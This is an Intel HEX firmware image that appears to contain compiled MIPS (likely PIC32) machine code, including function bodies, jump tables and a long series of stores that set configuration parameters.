:10f0ec00059d023c784c4424059d023cc84c4524ab
:10f0fc000413410f000000002110000021e8c003a0
:10f10c001400bf8f1000be8f1800bd270800e0034d
:10f11c0000000000d8ffbd272400bfaf2000beaf09
:10f12c001c00b0af21f0a0032800c4af1000c0af8a
:10f13c006ebc400b000000001000c28f2800c38f73
:10f14c00211062000000428061004228140040142b
:10f15c00000000001000c28f2800c38f2110620035
:10f16c00000042807b0042280d004010000000008f
:10f17c001000c28f2800c38f211062001000c38fb3
:10f18c002800c48f2118830000006380ff006330c7
:10f19c00e0ff6324ff006330201c037c000043a0cd
:10f1ac001000c28f010042241000c2af1000d08f9b
:10f1bc002800c48f7b4b410f000000002b10020273
:10f1cc00ddff4014000000007ebc400b000000007e
:10f1dc002800c48f7b4b410f00000000ffff42242e
:10f1ec002800c38f21106200000040a02800c48fab
:10f1fc007b4b410f00000000ffff42242800c38f0f
:10f20c00211062000000438020000224f0ff6210f5
:10f21c000000000021e8c0032400bf8f2000be8f37
:10f22c001c00b08f2800bd270800e0030000000080
:10f23c00e8ffbd271400beaf21f0a0031800c4af37
:10f24c001c00c5af1c00c28f421002000400c2afec
:10f25c001800c28f0000c2afb1bc400b0000000010
:10f26c001c00c28fffff42241800c38f21106200c4
:10f27c00000042900800c2a31c00c28fffff422472
:10f28c001800c38f211062000000c38f0000639030
:10f29c00000043a00000c28f0800c393000043a0ed
:10f2ac000000c28f010042240000c2af1c00c28fbc
:10f2bc00ffff42241c00c2af1c00c38f0400c28f8e
:10f2cc002b104300e6ff40140000000021e8c003af
:10f2dc001400be8f1800bd270800e00300000000da
:10f2ec00f0ffbd270c00beaf21f0a0031000c4af8f
:10f2fc001400c5af1400c28f01004230040040104e
:10f30c000000000021100000debc400b00000000db
:10f31c00dabc400b000000001000c28f00004290cd
:10f32c000000c2a31000c28f010043901000c28fd6
:10f33c00000043a01000c28f010042240000c393c0
:10f34c00000043a01400c28ffeff42241400c2af81
:10f35c001000c28f020042241000c2af1400c28ff2
:10f36c00edff4014000000000100022421e8c0035e
:10f37c000c00be8f1000bd270800e0030000000049
:10f38c00f0ffbd270c00beaf21f0a0031000c4afee
:10f39c002110a0001800c6af1400c2a30000c0af1b
:10f3ac00f8bc400b000000001800c28fffff422485
:10f3bc001000c38f21106200000042900000c38f28
:10f3cc00211062000000c2af1800c28fffff422460
:10f3dc001800c2af1800c28ff3ff401400000000e9
:10f3ec000000c28f010042300000c2af0000c28f8b
:10f3fc00ff0043301400c29326106200ff0042301d
:10f40c0021e8c0030c00be8f1000bd270800e003ec
:10f41c0000000000e8ffbd271400bfaf1000beaf16
:10f42c0021f0a0031800c4af01000424e30d410f28
:10f43c000000000020bd400b000000001800c28f2f
:10f44c000c0040100000000021200000e30d410fd3
:10f45c0000000000211840001800c28f2b10430040
:10f46c0004004010000000002110000040bd400bc3
:10f47c000000000088bf023cd060428c000142308a
:10f48c00eeff40100000000001000424e30d410fca
:10f49c000000000038bd400b000000001800c28fb7
:10f4ac000c0040100000000021200000e30d410f73
:10f4bc0000000000211840001800c28f2b104300e0
:10f4cc0004004010000000002110000040bd400b63
:10f4dc000000000088bf023cd060428c000142302a
:10f4ec00eeff40140000000021200000fb0d410f36
:10f4fc000000000021e8c0031400bf8f1000be8f75
:10f50c001800bd270800e00300000000e8ffbd273d
:10f51c001400bfaf1000beaf21f0a0031800c4afa1
:10f52c0001000424e30d410f000000005ebd400b00
:10f53c00000000001800c28f0c00401000000000fa
:10f54c0021200000e30d410f0000000021184000b5
:10f55c001800c28f2b104300040040100000000064
:10f56c00211000007ebd400b0000000088bf023c53
:10f57c00d060428c00014230eeff401400000000cd
:10f58c0001000424e30d410f0000000076bd400b88
:10f59c00000000001800c28f0c004010000000009a
:10f5ac0021200000e30d410f000000002118400055
:10f5bc001800c28f2b104300040040100000000004
:10f5cc00211000007ebd400b0000000088bf023cf3
:10f5dc00d060428c00014230eeff40100000000071
:10f5ec0021200000fb0d410f0000000021e8c003aa
:10f5fc001400bf8f1000be8f1800bd270800e00359
:10f60c0000000000e8ffbd271400bfaf1000beaf24
:10f61c0021f0a0031800c4af1c00c5af21200000ce
:10f62c001800c58f1c00c68f2110072496bd400ff3
:10f63c000000000021e8c0031400bf8f1000be8f33
:10f64c001800bd270800e00300000000e8ffbd27fc
:10f65c001400beaf21f0a0031800c4af1c00c5af4e
:10f66c002000c6af2400c7af0000c0afcbbd400b1d
:10f67c00000000001c00c38f0000c28f211062002c
:10f68c00000042900800c2af0800c28f00120200b6
:10f69c000800c2af0400c0afc1bd400b00000000a9
:10f6ac001800c38f0800c28f261062000080423001
:10f6bc0008004010000000001800c28f4018020023
:10f6cc002400c28f261062001800c2afbbbd400bd5
:10f6dc00000000001800c28f401002001800c2afda
:10f6ec000800c28f401002000800c2af0400c28f95
:10f6fc00010042240400c2af0400c28f0800422c57
:10f70c00e7ff4014000000001800c28fffff4230da
:10f71c001800c2af0000c28f010042240000c2af2b
:10f72c000000c38f2000c28f2b106200d1ff401449
:10f73c00000000001800c28f21e8c0031400be8f27
:10f74c001800bd270800e00300000000e8ffbd27fb
:10f75c001400bfaf1000beaf21f0a0032110800039
:10f76c001800c2a3e7bd400b00000000059d023c41
:10f77c00784c4424059d023ccc4c45240413410f89
:10f78c00000000001800c293ffff42241800c2a31f
:10f79c001800c293f5ff40140000000021e8c003dc
:10f7ac001400bf8f1000be8f1800bd270800e003a7
:10f7bc0000000000e8ffbd271400bfaf1000beaf73
:10f7cc0021f0a003059d023c784c4424059d023c8d
:10f7dc00d04c45240413410f0000000021e8c00365
:10f7ec001400bf8f1000be8f1800bd270800e00367
:10f7fc0000000000e8ffbd271400bfaf1000beaf33
:10f80c0021f0a0031800c4af1c00c5af059d023c3d
:10f81c00784c4424059d023c9c4c45240413410f18
:10f82c00000000001c00c28f00004290212040000c
:10f83c00d6bd400f00000000059d023cf84c44244e
:10f84c001800c58f0413410f000000001c00c28f6c
:10f85c000000429002004224ff0043301c00c28f83
:10f86c00000043a021e8c0031400bf8f1000be8f1e
:10f87c001800bd270800e00300000000e8ffbd27ca
:10f88c001400bfaf1000beaf21f0a0031800c4af2e
:10f89c001c00c5af2000c6af2000c28f070040106f
:10f8ac0000000000059d023c784c4424059d023c60
:10f8bc009c4c45240413410f000000001c00c28f17
:10f8cc00000042900200422c09004014000000008d
:10f8dc001c00c28f00004290feff4224ff00433008
:10f8ec001c00c28f000043a041be400b0000000072
:10f8fc001c00c28f000040a02000c28f06004010e8
:10f90c00000000001c00c28f00004290212040002b
:10f91c00d6bd400f00000000059d023c004d442464
:10f92c001800c58f0413410f0000000021e8c0032c
:10f93c001400bf8f1000be8f1800bd270800e00315
:10f94c0000000000e8ffbd271400bfaf1000beafe1
:10f95c0021f0a0031800c4af2110a0001c00c2a30a
:10f96c00059d023c784c4424059d023c9c4c45244e
:10f97c000413410f000000001c00c2932120400022
:10f98c00d6bd400f00000000059d023c784c44247d
:10f99c001800c58f0413410f0000000021e8c003bc
:10f9ac001400bf8f1000be8f1800bd270800e003a5
:10f9bc0000000000e8ffbd271400bfaf1000beaf71
:10f9cc0021f0a0031800c4af1c00c5af2000c6afc7
:10f9dc001800c48f2000c58f00be400f000000002f
:10f9ec00059d023c784c44241c00c58f0413410f28
:10f9fc00000000001800c48f2000c58f21300000cb
:10fa0c0022be400f0000000021e8c0031400bf8f8d
:10fa1c001000be8f1800bd270800e0030000000096
:10fa2c00e0ffbd271c00bfaf1800beaf21f0a00344
:10fa3c002000c4af2110a0002800c6af2400c2a330
:10fa4c002000c48f2800c58f00be400f00000000ae
:10fa5c002400c2931000c32721206000059d033ca5
:10fa6c00984c652421304000e455410f0000000003
:10fa7c00059d023c784c44241000c22721284000ec
:10fa8c000413410f000000002000c48f2800c58f14
:10fa9c002130000022be400f0000000021e8c0030e
:10faac001c00bf8f1800be8f2000bd270800e0038c
:10fabc0000000000e0ffbd271c00bfaf1800beaf68
:10facc0021f0a0032000c4af2118a0002800c6af6d
:10fadc002110e0002400c3a32c00c2a31000c0af6f
:10faec00dabe400b000000001000c28f1f00423035
:10fafc000b00401400000000059d023c784c44248f
:10fb0c00059d023c9c4c45240413410f0000000051
:10fb1c002c00c29321204000d6bd400f00000000f5
:10fb2c002000c38f1000c28f211062000000439090
:10fb3c002400c29324106200ff004230059d033c58
:10fb4c00844c6424212840006913410f00000000fc
:10fb5c001000c28f010042241000c2af1000c38fee
:10fb6c002800c28f2b106200dfff40140000000041
:10fb7c0021e8c0031c00bf8f1800be8f2000bd27da
:10fb8c000800e00300000000e8ffbd271400bfaf31
:10fb9c001000beaf21f0a0031800c4af1c00c5af0d
:10fbac002110c0002400c7af2000c2a31800c48fce
:10fbbc002800c58f00be400f000000002000c3933a
:10fbcc002800c28f000042901c00c48f21286000c6
:10fbdc002400c68f21384000b0be400f000000004a
:10fbec001800c48f2800c58f0100062422be400fc8
:10fbfc000000000021e8c0031400bf8f1000be8f6e
:10fc0c001800bd270800e00300000000e0ffbd273e
:10fc1c001c00bfaf1800beaf21f0a003059d023c35
:10fc2c003c3b4424059d023c403b45240413410fbe
:10fc3c0000000000010002241000c2a322bf400bf0
:10fc4c00000000001000c39300a0023c80180300c9
:10fc5c004c714224211062000000428c059d033c33
:10fc6c00583b6424212840000413410f000000007d
:10fc7c001000c293010042241000c2a31000c393d1
:10fc8c0000a0023c801803004c7142242110620039
:10fc9c000000428cebff401400000000059d023c6c
:10fcac003c3b4424059d023c603b45240413410f1e
:10fcbc000000000021e8c0031c00bf8f1800be8f9d
:10fccc002000bd270800e00300000000e0ffbd2776
:10fcdc001c00bfaf1800beaf21f0a0032000c4afc2
:10fcec001000c0a350bf400b000000001000c393d5
:10fcfc0000a0023c801803004c71422421106200c9
:10fd0c000000428c2000c48f21284000544e410f2b
:10fd1c000000000004004014000000001000c2931a
:10fd2c0059bf400b000000001000c2930100422498
:10fd3c001000c2a31000c39300a0023c8018030063
:10fd4c004c714224211062000000428ce7ff4014e9
:10fd5c00000000002110000021e8c0031c00bf8f30
:10fd6c001800be8f2000bd270800e0030000000033
:10fd7c00e8ffbd271400bfaf1000beaf21f0a003f9
:10fd8c00211080001800c2a31800c2931300432c4a
:10fd9c00310060100000000080180200039d023c3e
:10fdac00c0fd4224211062000000428c080040007b
:10fdbc000000000064fe029d0cfe029d0cfe029de4
:10fdcc000cfe029d0cfe029d0cfe029d0cfe029d83
:10fddc0034fe029d40fe029d64fe029d4cfe029d7f
:10fdec0064fe029d64fe029d64fe029d64fe029d03
:10fdfc0064fe029d58fe029d64fe029d28fe029d3b
:10fe0c0000a0023cd8574290212040005fbf400f19
:10fe1c00000000009abf400b0000000020000224ec
:10fe2c009abf400b00000000200002249abf400b38
:10fe3c0000000000200002249abf400b00000000cc
:10fe4c00200002249abf400b000000002000022476
:10fe5c009abf400b000000002110000021e8c003f5
:10fe6c001400bf8f1000be8f1800bd270800e003e0
:10fe7c0000000000e0ffbd271c00bfaf1800beafa4
:10fe8c001400b0af21f0a003211080002000c2a309
:10fe9c002000c2931300432c3800601000000000b7
:10feac0080180200039d023cc8fe4224211062000f
:10febc000000428c080040000000000088ff029dfa
:10fecc0014ff029d14ff029d14ff029d14ff029d5e
:10fedc0014ff029d14ff029d58ff029d64ff029dba
:10feec0088ff029d70ff029d88ff029d88ff029d86
:10fefc0088ff029d88ff029d88ff029d7cff029d6a
:10ff0c0088ff029d4cff029d00a0023cdc5642245f
:10ff1c00b000508c00a0023cd857429021204000e9
:10ff2c005fbf400f000000001b000202f401400004
:10ff3c001010000012100000e3bf400b0000000086
:10ff4c000e000224e3bf400b00000000400002241e
:10ff5c00e3bf400b0000000008000224e3bf400b8d
:10ff6c000000000008000224e3bf400b000000006a
:10ff7c0008000224e3bf400b000000002110000029
:10ff8c0021e8c0031c00bf8f1800be8f1400b08f77
:10ff9c002000bd270800e00300000000f8ffbd278b
:10ffac000400beaf21f0a003211080000800c2a302
:10ffbc000800c2931600432c4b0060100000000098
:10ffcc0080180200039d023ce8ff422421106200cd
:10ffdc000000428c0800400000000000f400039d6b
:10ffec004000039d4000039d4000039d4000039d85
:10fffc004000039d4000039d9400039da000039dc1
:020000041d03da
:10000c004c00039dc400039d6400039dac00039d44
:10001c00b800039ddc00039d7c00039dd000039d74
:10002c007000039d5800039df400039d8800039d00
:10003c00e800039d000102243ec0400b00000000bc
:10004c00400002243ec0400b00000000c00102240e
:10005c003ec0400b00000000600002243ec0400b7c
:10006c0000000000600002243ec0400b00000000b5
:10007c00800002243ec0400b0000000070000224ef
:10008c003ec0400b00000000000802243ec0400ba4
:10009c0000000000000102243ec0400b00000000e4
:1000ac00400002243ec0400b00000000e00002248f
:1000bc003ec0400b00000000000102243ec0400b7b
:1000cc0000000000000102243ec0400b00000000b4
:1000dc00400002243ec0400b0000000040000224ff
:1000ec003ec0400b000000002110000021e8c003be
:1000fc000400be8f0800bd270800e00300000000cc
:10010c00e0fdbd271c02bfaf1802beaf21f0a0035b
:10011c0000a0023cdc564224870042901100c2a38e
:10012c00059d023c3c3b4424059d023c603b452420
:10013c000413410f00000000010002241000c2a3b0
:10014c0077c0400b000000001000c39300a0023cdd
:10015c00801803004c714224211062000000428c74
:10016c00059d033c643b6424212840000413410f8b
:10017c00000000001000c293212040008fc0400fef
:10018c000000000000a0023cdc5642248700429094
:10019c001400c3272120600021284000ec2d410fc2
:1001ac000000000007004010000000001400c227ef
:1001bc00059d033c3c3b6424212840000413410f63
:1001cc00000000001000c293010042241000c2a3e2
:1001dc001000c39300a0023c801803004c71422411
:1001ec00211062000000428cd7ff40140000000078
:1001fc001100c293212040008fc0400f000000006e
:10020c00059d023c3c3b4424059d023c603b45243f
:10021c000413410f0000000021e8c0031c02bf8f33
:10022c001802be8f2002bd270800e003000000006a
:10023c00e8ffbd271400bfaf1000beaf21f0a00334
:10024c00211080001800c2a300a0023cdc564224fe
:10025c009c0040ac00a0023cdc564224c40040ace4
:10026c0000a0023cdc564224cc0040ac00a0023c76
:10027c00dc564224d00040ac00a0023cdc564224a8
:10028c00c80040ac00a0023cdc564224a00040a0b8
:10029c0000a0023cdc564224d80040ac00a0023c3a
:1002ac00dc564224dc0040ac00a0023cdc5642246c
:1002bc00a40040ac00a0023cdc564224a80040ac98
:1002cc0000a0023cdc564224ac0040ac00a0023c36
:1002dc00dc564224b00040ac00a0023cdc56422468
:1002ec001800c393870043a000a0023cdc564224b4
:1002fc00d40040ac00a0023cdc5642248c0040ac44
:10030c0000a0023cdc564224bd0040a000a0023cf0
:10031c00dc564224be0040a000a0023cdc56422425
:10032c00bf0040a000a0023cdc564224c00040a00c
:10033c0000a0023cdc564224bc0040a000a0023cc1
:10034c00dc564224e00040ac00a0023cdc564224c7
:10035c00ec0040ac00a0023cdc564224f00040ac67
:10036c0000a0023cdc564224e40040ac00a0023c5d
:10037c00dc564224e80040ac00a0023cdc5642248f
:10038c00f80040ac00a0023cdc564224f40040ac27
:10039c001800c2931600432c3704601000000000b4
:1003ac0080180200039d023cc80342242110620005
:1003bc000000428c08004000000000009014039dd7
:1003cc002004039dd008039d8809039d2010039de4
:1003dc008414039d8414039d400b039da40c039d66
:1003ec00bc05039de810039d400a039d100e039d60
:1003fc00180f039dbc05039dd407039d5c12039d40
:10040c00b804039dac06039dcc13039d8414039d7b
:10041c00bc05039d00a0023cdc56422420030324af
:10042c009c0043ac00a0023cdc5642240100032497
:10043c00a00043a000a0023cdc564224640003242c
:10044c00dc0043ac00a0023cdc5642242000032418
:10045c00a40043ac00a0023cdc564224000103245f
:10046c00b00043ac00a0023cdc5642241800c393fd
:10047c00870043a000a0023cdc5642241400032455
:10048c00d40043ac00a0023cdc564224c832032406
:10049c008c0043ac00a0023cdc564224e80303244d
:1004ac00f00043ac25c5400b0000000000a0023c4e
:1004bc00dc564224200303249c0043ac00a0023ce5
:1004cc00dc56422403000324a00043a000a0023cfd
:1004dc00dc5642246e000324dc0043ac00a0023c3a
:1004ec00dc56422432000324a40043ac00a0023c9e
:1004fc00dc56422408000324a80043ac00a0023cb4
:10050c00dc5642240a000324ac0043ac00a0023c9d
:10051c00dc56422460000324b00043ac00a0023c33
:10052c00dc5642241800c393870043a000a0023c71
:10053c00dc56422414000324d40043ac00a0023c3b
:10054c00dc564224c83203248c0043ac00a0023c8d
:10055c00dc56422401000324bd0043a000a0023c51
:10056c00dc5642241d000324be0043a000a0023c24
:10057c00dc56422480ff0324bf0043a000a0023cb1
:10058c00dc564224c00040a000a0023cdc564224b1
:10059c0012000324bc0043a000a0023cdc56422401
:1005ac00e8030324f00043ac25c5400b0000000019
:1005bc0000a0023cdc564224200303249c0043ace4
:1005cc0000a0023cdc56422401000324cc0043acc6
:1005dc0000a0023cdc56422401000324a00043a0ee
:1005ec0000a0023cdc56422496000324dc0043ac01
:1005fc0000a0023cdc56422440000324a40043ac7f
:10060c0000a0023cdc56422440000324b00043ac62
:10061c0000a0023cdc5642241800c393870043a080
:10062c0000a0023cdc56422414000324d40043ac4a
:10063c0000a0023cdc564224c83203248c0043ac9c
:10064c0000a0023cdc564224ffff0324bd0043a063
:10065c0000a0023cdc564224ffff0324be0043a052
:10066c0000a0023cdc564224bf0040a000a0023c8b
:10067c00dc564224c00040a000a0023cdc564224c0
:10068c0009000324bc0043a000a0023cdc56422419
:10069c00e8030324f00043ac25c5400b0000000028
:1006ac0000a0023cdc564224200303249c0043acf3
:1006bc0000a0023cdc56422401000324cc0043acd5
:1006cc0000a0023cdc56422401000324a00043a0fd
:1006dc0000a0023cdc56422482000324dc0043ac24
:1006ec0000a0023cdc56422440000324a40043ac8e
:1006fc0000a0023cdc56422435000324b00043ac7d
:10070c0000a0023cdc5642240e000324b40043ac8f
:10071c0000a0023cdc56422420000324b80043ac69
:10072c0000a0023cdc5642241800c393870043a06f
:10073c0000a0023cdc56422414000324d40043ac39
:10074c0000a0023cdc564224c83203248c0043ac8b
:10075c0000a0023cdc564224e8030324f00043ac26
:10076c0000a0023cdc56422437000324e00043acda
:10077c0000a0023cdc564224d0070324ec0043ac1e
:10078c0000a0023cdc56422410000324e40043acdd
:10079c0000a0023cdc56422420000324e80043acb9
:1007ac0000a0023cdc5642243c000324f40043ac81
:1007bc0000a0023cdc56422450000324f80043ac59
:1007cc0025c5400b0000000000a0023cdc56422472
:1007dc00e90203249c0043ac00a0023cdc564224fa
:1007ec0001000324c40043ac00a0023cdc564224ac
:1007fc0001000324c80043ac00a0023cdc56422498
:10080c0001000324a00043a000a0023cdc564224bb
:10081c0082000324dc0043ac00a0023cdc564224e2
:10082c0020000324a40043ac00a0023cdc5642246c
:10083c0080000324b00043ac00a0023cdc564224f0
:10084c001800c393870043a000a0023cdc5642244e
:10085c0014000324d40043ac00a0023cdc56422418
:10086c00c83203248c0043ac00a0023cdc5642246a
:10087c00bd0040a000a0023cdc5642242000032412
:10088c00be0043a000a0023cdc564224bf0040a0a6
:10089c0000a0023cdc564224c00040a000a0023c58
:1008ac00dc5642240b000324bc0043a000a0023cf5
:1008bc00dc564224e8030324f00043ac25c5400b6e
:1008cc000000000000a0023cdc564224200303245c
:1008dc009c0043ac00a0023cdc56422402000324e2
:1008ec00a00043a000a0023cdc5642249600032446
:1008fc00dc0043ac00a0023cdc5642243200032452
:10090c00a40043ac00a0023cdc56422408000324a3
:10091c00a80043ac00a0023cdc5642240500032492
:10092c00ac0043ac00a0023cdc5642240001032482
:10093c00b00043ac00a0023cdc5642241800c39328
:10094c00870043a000a0023cdc5642241400032480
:10095c00d40043ac00a0023cdc564224c832032431
:10096c008c0043ac00a0023cdc564224e803032478
:10097c00f00043ac25c5400b0000000000a0023c79
:10098c00dc564224200303249c0043ac00a0023c10
:10099c00dc56422403000324a00043a000a0023c28
:1009ac00dc5642245a000324dc0043ac00a0023c79
:1009bc00dc56422432000324a40043ac00a0023cc9
:1009cc00dc56422408000324a80043ac00a0023cdf
:1009dc00dc5642240a000324ac0043ac00a0023cc9
:1009ec00dc56422400010324b00043ac00a0023cbe
:1009fc00dc5642241800c393870043a000a0023c9d
:100a0c00dc56422414000324d40043ac00a0023c66
:100a1c00dc564224c83203248c0043ac00a0023cb8
:100a2c00dc564224e8030324f00043ac25c5400bfc
:100a3c000000000000a0023cdc56422420030324ea
:100a4c009c0043ac00a0023cdc564224030003246f
:100a5c00a00043a000a0023cdc5642246e000324fc
:100a6c00dc0043ac00a0023cdc56422432000324e0
:100a7c00a40043ac00a0023cdc5642240800032432
:100a8c00a80043ac00a0023cdc5642240a0003241c
:100a9c00ac0043ac00a0023cdc56422460000324b2
:100aac00b00043ac00a0023cdc5642241800c393b7
:100abc00870043a000a0023cdc564224140003240f
:100acc00d40043ac00a0023cdc564224c8320324c0
:100adc008c0043ac00a0023cdc5642241d000324d5
:100aec00bd0043a000a0023cdc5642245500032468
:100afc00be0043a000a0023cdc564224bf0040a034
:100b0c0000a0023cdc564224c00040a000a0023ce5
:100b1c00dc56422410000324bc0043a000a0023c7d
:100b2c00dc564224e8030324f00043ac25c5400bfb
:100b3c000000000000a0023cdc56422420030324e9
:100b4c009c0043ac00a0023cdc5642240100032470
:100b5c00cc0043ac00a0023cdc5642240100032430
:100b6c00a00043a000a0023cdc564224aa000324af
:100b7c00dc0043ac00a0023cdc56422420000324e1
:100b8c00a40043ac00a0023cdc5642242100032408
:100b9c00b00043ac00a0023cdc56422440000324cd
:100bac00b40043ac00a0023cdc56422420000324d9
:100bbc00b80043ac00a0023cdc5642241800c3939e
:100bcc00870043a000a0023cdc56422414000324fe
:100bdc00d40043ac00a0023cdc564224c8320324af
:100bec008c0043ac00a0023cdc56422404000324dd
:100bfc00e00043ac00a0023cdc564224d0070324a6
:100c0c00ec0043ac00a0023cdc564224f40103246b
:100c1c00f00043ac00a0023cdc564224120003243a
:100c2c00e40043ac00a0023cdc5642241a0003242e
:100c3c00e80043ac00a0023cdc564224b400032480
:100c4c00f40043ac00a0023cdc56422478000324a0
:100c5c00f80043ac00a0023cdc564224bc0040a08f
:100c6c0000a0023cdc564224bd0040a000a0023c87
:100c7c00dc564224bd0040a000a0023cdc564224bd
:100c8c00bd0040a000a0023cdc564224bd0040a0a8
:100c9c0025c5400b0000000000a0023cdc5642249d
:100cac00200303249c0043ac00a0023cdc564224ed
:100cbc0001000324cc0043ac00a0023cdc564224cf
:100ccc0001000324a00043a000a0023cdc564224f7
:100cdc00a0000324dc0043ac00a0023cdc56422400
:100cec0020000324a40043ac00a0023cdc564224a8
:100cfc0025000324b00043ac00a0023cdc56422487
:100d0c0008000324b40043ac00a0023cdc5642248f
:100d1c0020000324b80043ac00a0023cdc56422463
:100d2c001800c393870043a000a0023cdc56422469
:100d3c0014000324d40043ac00a0023cdc56422433
:100d4c00c83203248c0043ac00a0023cdc56422485
:100d5c0003000324e00043ac00a0023cdc56422418
:100d6c00d0070324ec0043ac00a0023cdc56422428
:100d7c000d020324f00043ac00a0023cdc564224dc
:100d8c0012000324e40043ac00a0023cdc564224d5
:100d9c001a000324e80043ac00a0023cdc564224b9
:100dac0096000324f40043ac00a0023cdc56422421
:100dbc005a000324f80043ac00a0023cdc56422449
:100dcc00f8ff0324bd0043a000a0023cdc564224e3
:100ddc00be0040a000a0023cdc564224bf0040a054
:100dec0000a0023cdc564224c00040a000a0023c03
:100dfc00dc56422405000324bc0043a025c5400b4f
:100e0c000000000000a0023cdc5642242003032416
:100e1c009c0043ac00a0023cdc564224040003249a
:100e2c00a00043a000a0023cdc5642246400032432
:100e3c00d80043ac00a0023cdc564224aa00032498
:100e4c00dc0043ac00a0023cdc564224200003240e
:100e5c00a40043ac00a0023cdc5642240200032454
:100e6c00a80043ac00a0023cdc5642244000032402
:100e7c00b00043ac00a0023cdc5642241800c393e3
:100e8c00870043a000a0023cdc564224140003243b
:100e9c00d40043ac00a0023cdc564224c8320324ec
:100eac008c0043ac00a0023cdc564224040003241a
:100ebc00880043ac00a0023cdc564224bd0040a09c
:100ecc0000a0023cdc564224be0040a000a0023c24
:100edc00dc564224bf0040a000a0023cdc56422459
:100eec00c00040a000a0023cdc56422418000324a1
:100efc00bc0043a000a0023cdc564224e8030324bf
:100f0c00f00043ac25c5400b0000000000a0023ce3
:100f1c00dc564224200303249c0043ac00a0023c7a
:100f2c00dc56422404000324a00043a000a0023c91
:100f3c00dc56422464000324d80043ac00a0023cdd
:100f4c00dc564224aa000324dc0043ac00a0023c83
:100f5c00dc56422420000324a40043ac00a0023c35
:100f6c00dc56422402000324a80043ac00a0023c3f
:100f7c00dc564224e0000324b00043ac00a0023c49
:100f8c00dc5642241800c393870043a000a0023c07
:100f9c00dc56422414000324d40043ac00a0023cd1
:100fac00dc564224c83203248c0043ac00a0023c23
:100fbc00dc56422404000324880043ac00a0023c0d
:100fcc00dc564224bd0040a000a0023cdc5642246a
:100fdc00be0040a000a0023cdc564224bf0040a052
:100fec0000a0023cdc564224c00040a000a0023c01
:100ffc00dc56422418000324bc0043a000a0023c91
:10100c00dc564224e8030324f00043ac25c5400b16
:10101c000000000000a0023cdc5642242003032404
:10102c009c0043ac00a0023cdc5642240400032488
:10103c00a00043a000a0023cdc5642246400032420
:10104c00d80043ac00a0023cdc564224960003249a
:10105c00dc0043ac00a0023cdc56422420000324fc
:10106c00a40043ac00a0023cdc5642240200032442
:10107c00a80043ac00a0023cdc564224000103242f
:10108c00b00043ac00a0023cdc5642241800c393d1
:10109c00870043a000a0023cdc5642241400032429
:1010ac00d40043ac00a0023cdc564224c8320324da
:1010bc008c0043ac00a0023cdc5642240400032408
:1010cc00880043ac00a0023cdc564224e803032415
:1010dc00f00043ac25c5400b0000000000a0023c12
:1010ec00dc564224200303249c0043ac00a0023ca9
:1010fc00dc56422401000324cc0043ac00a0023c8b
:10110c00dc56422401000324a00043a000a0023cb2
:10111c00dc564224a0000324dc0043ac00a0023cbb
:10112c00dc56422440000324a40043ac00a0023c43
:10113c00dc56422440000324b00043ac00a0023c27
:10114c00dc56422408000324b40043ac00a0023c4b
:10115c00dc56422420000324b80043ac00a0023c1f
:10116c00dc5642241800c393870043a000a0023c25
:10117c00dc56422414000324d40043ac00a0023cef
:10118c00dc564224c83203248c0043ac00a0023c41
:10119c00dc564224ffff0324bd0043a000a0023c08
:1011ac00dc564224ffff0324be0043a000a0023cf7
:1011bc00dc564224bf0040a000a0023cdc56422476
:1011cc00c00040a000a0023cdc56422409000324cd
:1011dc00bc0043a000a0023cdc564224c8320324cd
:1011ec00ec0043ac00a0023cdc564224a00f0324cc
:1011fc00f00043ac00a0023cdc5642243200032435
:10120c00e00043ac00a0023cdc5642241000032456
:10121c00e40043ac00a0023cdc5642243000032422
:10122c00e80043ac00a0023cdc564224300003240e
:10123c00f40043ac00a0023cdc564224c000032462
:10124c00f80043ac988080af25c5400b000000002f
:10125c0000a0023cdc564224200303249c0043ac37
:10126c0000a0023cdc56422401000324a00043a051
:10127c0000a0023cdc56422496000324dc0043ac64
:10128c0000a0023cdc56422401000324cc0043acf9
:10129c0000a0023cdc56422420000324a40043acf2
:1012ac0000a0023cdc56422440000324b00043acb6
:1012bc0000a0023cdc564224e0ff0324bd0043a006
:1012cc0000a0023cdc56422415000324be0043a0bf
:1012dc0000a0023cdc564224bf0040a000a0023c0f
:1012ec00dc564224c00040a000a0023cdc56422444
:1012fc0010000324bc0043a000a0023cdc56422496
:10130c0008000324b40043ac00a0023cdc56422489
:10131c0020000324b80043ac00a0023cdc5642245d
:10132c001800c393870043a000a0023cdc56422463
:10133c0014000324d40043ac00a0023cdc5642242d
:10134c00c83203248c0043ac00a0023cdc5642247f
:10135c00c8320324ec0043ac00a0023cdc5642240f
:10136c00a00f0324f00043ac00a0023cdc56422446
:10137c0017000324e00043ac00a0023cdc564224de
:10138c0010000324e40043ac00a0023cdc564224d1
:10139c0030000324e80043ac00a0023cdc5642249d
:1013ac0040000324f40043ac00a0023cdc56422471
:1013bc00c0000324f80043ac25c5400b000000001e
:1013cc0000a0023cdc564224200303249c0043acc6
:1013dc0000a0023cdc5642241800c393870043a0b3
:1013ec0000a0023cdc56422414000324d40043ac7d
:1013fc0000a0023cdc564224c83203248c0043accf
:10140c0000a0023cdc564224c8320324ec0043ac5e
:10141c0000a0023cdc564224a00f0324f00043ac95
:10142c0000a0023cdc56422417000324e00043ac2d
:10143c0000a0023cdc56422410000324e40043ac20
:10144c0000a0023cdc56422430000324e80043acec
:10145c0000a0023cdc56422440000324f40043acc0
:10146c0000a0023cdc564224c0000324f80043ac2c
:10147c0025c5400b000000002110000047c5400ba3
:10148c000000000000000000c40c410f0000000030
:10149c0000a0023cdc564224dc00428c21200000df
:1014ac00212800002130400000a0023c5c4547246c
:1014bc00dc2a410f0000000000a0023cdc56422454
:1014cc00d800428c01000424212800002130400067
:1014dc0000a0023c5c454724dc2a410f00000000c0
:1014ec000700023c20a14434240e410f00000000f0
:1014fc00988080af00a0023cf06a442421280000b0
:10150c00090006247152410f000000000100022462
:10151c0021e8c0031400bf8f1000be8f1800bd2738
:10152c000800e00300000000e8ffbd271400bfaf77
:10153c001000beaf21f0a0031800c4af1c00c5af53
:10154c002110c0002000c2a32000c2931600432c1f
:10155c00890060100000000080180200039d023c0e
:10156c0080154224211062000000428c08004000cb
:10157c00000000008417039dd815039dd815039d0a
:10158c00d815039dd815039dd815039dd815039d1b
:10159c008417039d8417039d3416039d3416039df5
:1015ac009416039dc416039df416039d2417039de6
:1015bc006416039d8417039d0416039dd815039d83
:1015cc008417039d8417039d5417039d1c00c48f1f
:1015dc007b4b410f000000001800c48f1c00c58f0e
:1015ec0021304000214b410f00000000010002247b
:1015fc00e2c5400b000000001800c48f1c00c58f12
:10160c008c28410f00000000040040140000000072
:10161c0021100000e2c5400b000000000100022474
:10162c00e2c5400b000000001800c48f1c00c58fe1
:10163c008fdb400f0000000004004014000000008d
